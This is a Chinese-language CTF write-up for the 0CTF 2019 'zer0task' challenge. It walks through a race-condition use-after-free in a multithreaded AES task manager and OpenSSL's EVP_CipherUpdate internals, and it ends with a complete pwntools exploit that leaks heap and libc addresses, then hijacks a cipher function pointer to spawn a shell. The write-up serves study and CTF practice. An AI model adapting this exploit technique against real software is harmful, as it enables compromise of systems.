zer0task.0ctf打得我怀疑人生..自闭了..学不好只能看wp

zer0task

binary 传说0ctf2019中最简单的一题…本菜狗..还是没有做出来…我一度以为他没有漏洞写得很完美…没想到问题出在了运行起来的时候–条件竞争 .在条件竞争之后我搞不清EVP_Cipher的几个结构体…openssl接触太少..

Analysis

  zer0task checksec task
[*] '/home/n132/Desktop/zer0task/task'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

全保护. 主要功能有三个. add,delete,go add 创建的内容以链表的形式链接起来 标识符为id我做了个丑陋的结构体.

00000000 node            struc ; (sizeof=0x70, mappedto_7)
00000000 data            dq ?                    ; offset
00000008 size            dq ?
00000010 type            dd ?
00000014 KEY             db 32 dup(?)
00000034 IV              db 16 dup(?)
00000044 field_44        dd ?
00000048 field_48        dq ?
00000050 field_50        dq ?
00000058 obj             dq ?
00000060 id              dd ?
00000064 field_64        dd ?
00000068 next            dq ?                    ; offset

其中data大小可控 objEVP_CIPHER_CTX结构体

 object->obj = EVP_CIPHER_CTX_new();
  if ( type == 1 )
  {
    tpp = EVP_aes_256_cbc();
    EVP_EncryptInit_ex(object->obj, tpp, 0LL, object->KEY, object->IV);
  }
  else
  {
    if ( type != 2 )
      return 0LL;
    tpp = EVP_aes_256_cbc();
    EVP_DecryptInit_ex(object->obj, tpp, 0LL, object->KEY, object->IV);
  }

go()函数

unsigned __int64 go()
{
  int id; // [rsp+4h] [rbp-1Ch]
  pthread_t newthread; // [rsp+8h] [rbp-18h]
  node *tmp_ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Task id : ");
  id = get_cmd();
  for ( tmp_ptr = PTR; tmp_ptr; tmp_ptr = tmp_ptr->next )
  {
    if ( id == tmp_ptr->id )
    {
      pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, tmp_ptr);
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

主要是通过id找到目标chunk然后打印encode或者decode之后的内容简而言之就是一个show函数

漏洞点

但是主要的漏洞点是pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, tmp_ptr);使用了pthread 其中start_routine睡了两秒…多么明显的条件竞争…由于之前没做过条件竞争的我选择性忽视了/捂脸

puts("Prepare...");
sleep(2u);

所以我们造成uaf,例如

go()
delete()

来泄露地址 但是有个小问题是EVP_CIPHER_CTX结构体也被free了为了程序的正常运行我们需要把它malloc.例如

add(0x8)#0
add(0x8)#1
add(0x8)#2
go(0)
free(0)
free(1)
free(2)
add(0xa8)#because of sizeof(EVP_CIPHER_CTX)=0xb0
add(8)

这样我们就可以泄露堆地址.

然后我们可以伪造node泄露libc地址.

然后就可以通过EVP_CipherUpdate里的虚表调用getshell

用题目给的libc比较好直接one_gadget拿到shell.用自己的…说多了都是泪.源码不多分析了贴在这里以后再遇到可以看

EVP_CipherUpdate

在EVP_CipherUpdate()之中存在对虚表函数的调用…简单的不加构造放利用one_gadget发现失败了.. 开始找源码..

Download…..

https://www.openssl.org/source/ decompression…. grep -r EVP_CipherUpdate . to locate the func…

evp_enc.c#EVP_CipherUpdate

int EVP_CipherUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl,
                     const unsigned char *in, int inl)
{
    if (ctx->encrypt)
        return EVP_EncryptUpdate(ctx, out, outl, in, inl);
    else
        return EVP_DecryptUpdate(ctx, out, outl, in, inl);
}

so … EVP_EncryptUpdate()

evp_enc.c#EVP_EncryptUpdate

int EVP_EncryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl,
                      const unsigned char *in, int inl)
{
    /* Prevent accidental use of decryption context when encrypting */
    if (!ctx->encrypt) {
        EVPerr(EVP_F_EVP_ENCRYPTUPDATE, EVP_R_INVALID_OPERATION);
        return 0;
    }

    return evp_EncryptDecryptUpdate(ctx, out, outl, in, inl);
}

evp_enc.c#evp_EncryptDecryptUpdate

static int evp_EncryptDecryptUpdate(EVP_CIPHER_CTX *ctx,
                                    unsigned char *out, int *outl,
                                    const unsigned char *in, int inl)
{
    int i, j, bl, cmpl = inl;

    if (EVP_CIPHER_CTX_test_flags(ctx, EVP_CIPH_FLAG_LENGTH_BITS))
        cmpl = (cmpl + 7) / 8;

    bl = ctx->cipher->block_size;

    if (ctx->cipher->flags & EVP_CIPH_FLAG_CUSTOM_CIPHER) {
        /* If block size > 1 then the cipher will have to do this check */
        if (bl == 1 && is_partially_overlapping(out, in, cmpl)) {
            EVPerr(EVP_F_EVP_ENCRYPTDECRYPTUPDATE, EVP_R_PARTIALLY_OVERLAPPING);
            return 0;
        }

        i = ctx->cipher->do_cipher(ctx, out, in, inl);
        if (i < 0)
            return 0;
        else
            *outl = i;
        return 1;
    }

    if (inl <= 0) {
        *outl = 0;
        return inl == 0;
    }
    if (is_partially_overlapping(out + ctx->buf_len, in, cmpl)) {
        EVPerr(EVP_F_EVP_ENCRYPTDECRYPTUPDATE, EVP_R_PARTIALLY_OVERLAPPING);
        return 0;
    }

    if (ctx->buf_len == 0 && (inl & (ctx->block_mask)) == 0) {
        if (ctx->cipher->do_cipher(ctx, out, in, inl)) {
            *outl = inl;
            return 1;
        } else {
            *outl = 0;
            return 0;
        }
    }
    i = ctx->buf_len;
    OPENSSL_assert(bl <= (int)sizeof(ctx->buf));
    if (i != 0) {
        if (bl - i > inl) {
            memcpy(&(ctx->buf[i]), in, inl);
            ctx->buf_len += inl;
            *outl = 0;
            return 1;
        } else {
            j = bl - i;
            memcpy(&(ctx->buf[i]), in, j);
            inl -= j;
            in += j;
            if (!ctx->cipher->do_cipher(ctx, out, ctx->buf, bl))
                return 0;
            out += bl;
            *outl = bl;
        }
    } else
        *outl = 0;
    i = inl & (bl - 1);
    inl -= i;
    if (inl > 0) {
        if (!ctx->cipher->do_cipher(ctx, out, in, inl))
            return 0;
        *outl += inl;
    }

    if (i != 0)
        memcpy(ctx->buf, &(in[inl]), i);
    ctx->buf_len = i;
    return 1;
}

aes_cbc

这个解密之前做过幸亏那次把脚本留下来了这次是直接拿来改一改用的原脚本地址 https://github.com/n132/Watermalon/tree/master/Script/aes_cbc by the way … http://aes.online-domain-tools.com/

Exp

from pwn import *
from Crypto.Cipher import AES
BLOCK_SIZE = 16  # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

def DE(text):
	BS = AES.block_size  
	mode = AES.MODE_CBC
	pad = lambda s: s + (BS-len(s))*"\x00"
	pad_txt = lambda s: s + (BS - len(s) % BS) * '\x00'
	unpad = lambda s : s[0:-ord(s[-1])]
	cryptor=AES.new("A"*0x20,mode, "B"*0x10)
	plain_text  = cryptor.decrypt(text)
    	return u64(plain_text[:8])
def cmd(c):
	p.sendlineafter("Choice: ",str(c))
def add(i,size,data,key="A"*0x20,vi="B"*0x10,tp=1):
	p.sendline("1")
	p.sendlineafter("id : ",str(i))
	p.sendlineafter("2): ",str(tp))
	p.sendafter("Key : ",key.ljust(0x20,'\x00'))
	p.sendafter("IV : ",vi.ljust(0x10,'\x00'))
	p.sendlineafter("Data Size : ",str(size))
	p.sendafter("Data : ",data.ljust(size,'\x00'))
def free(i,):
	cmd(2)
	p.sendlineafter("id : ",str(i))
def go(i):
	cmd(3)
	p.sendlineafter("id : ",str(i))
p=process("./task",env={'LD_PRELOAD':"./libc-2.27.so"})

add(0,0x8,"A")
add(1,0x8,"B")
add(2,0x8,"C")
add(3,0x8,"D")
add(4,0x8,"E")

free(0)
free(1)
go(2)
free(2)
free(3)
free(4)
#add(5,8,"A")
add(5,0xa8,"B")
add(6,0x8,"c")
p.readuntil("Ciphertext: \n")
pd=""
for x in  p.readline().split():
	pd+=chr(int("0x"+x,16))
heap=(DE(pd))-(0x555555758280-0x0000555555757000)
log.info(hex(heap))
sleep(2)
add(7,0x666,"A")
add(8,0x8,"A")
go(7)
free(7)
free(8)
#get the struct of index7
add(9,0x78,p64(0x555555758f80-0x0000555555757000+heap)+p64(8)+p32(1)+"A"*0x20+"B"*0x10+"\x00"*0x14+p64(0x0000555555758300-0x0000555555757000+heap)+p64(0x00005555557589a0))
p.readuntil("Ciphertext: \n")
pd=""
for x in  p.readline().split():
	pd+=chr(int("0x"+x,16))
libc=ELF("./libc-2.27.so")
base=(DE(pd))-(0x7ffff776dca0-0x7ffff73d1440+libc.symbols['system'])
log.warning(hex(base))
sleep(2)
add(10,0x8,'A')
add(10,0x8,'A')
add(10,0x8,'A')
add(10,0x8,'A')

add(0,0x8,"A")
add(1,0x8,"B")
add(2,0x8,"C")
add(3,0x8,"D")
add(4,0x8,"E")

free(0)
free(1)
go(2)
free(2)
free(3)
free(4)
add(5,0x8,"B")
one=0x10a38c
add(6,0xa8,p64(0x555555759b90-0x0000555555757000+heap)+p64(0x1)+p64(0x1)+'\x00'*0x8+p64(one+base))
p.interactive("n132>>")

-